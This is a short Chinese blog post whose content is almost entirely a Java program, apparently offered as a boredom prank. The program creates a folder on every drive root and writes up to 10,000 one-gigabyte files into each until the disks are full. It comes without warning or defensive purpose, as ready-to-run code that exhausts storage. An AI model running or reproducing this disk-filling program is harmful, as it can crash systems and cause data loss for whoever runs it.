标签:
实在太无聊了. 就.....
import java.io.File; import java.io.IOException; import java.io.RandomAccessFile; public class Test { public static void main(String[] args) throws IOException { File[] file1 = File.listRoots(); for (int k = 0; k < file1.length; k++) { String path = file1[k].getAbsolutePath(); path = path.substring(0, path.length() - 1); File file = new File(path + "/文件我最大/"); if (!file.isDirectory()) { file.mkdir(); } for (int i = 0; i < 10000; i++) { File file3 = new File(path + "/文件我最大/" + i); if (!file3.exists()) { file3.createNewFile(); RandomAccessFile rac = new RandomAccessFile(file3, "rw"); try { rac.setLength(1073741824); } catch (Exception e) { break; } rac.close(); } } } } }
标签:
原文地址:http://www.cnblogs.com/wuqinglong/p/5151419.html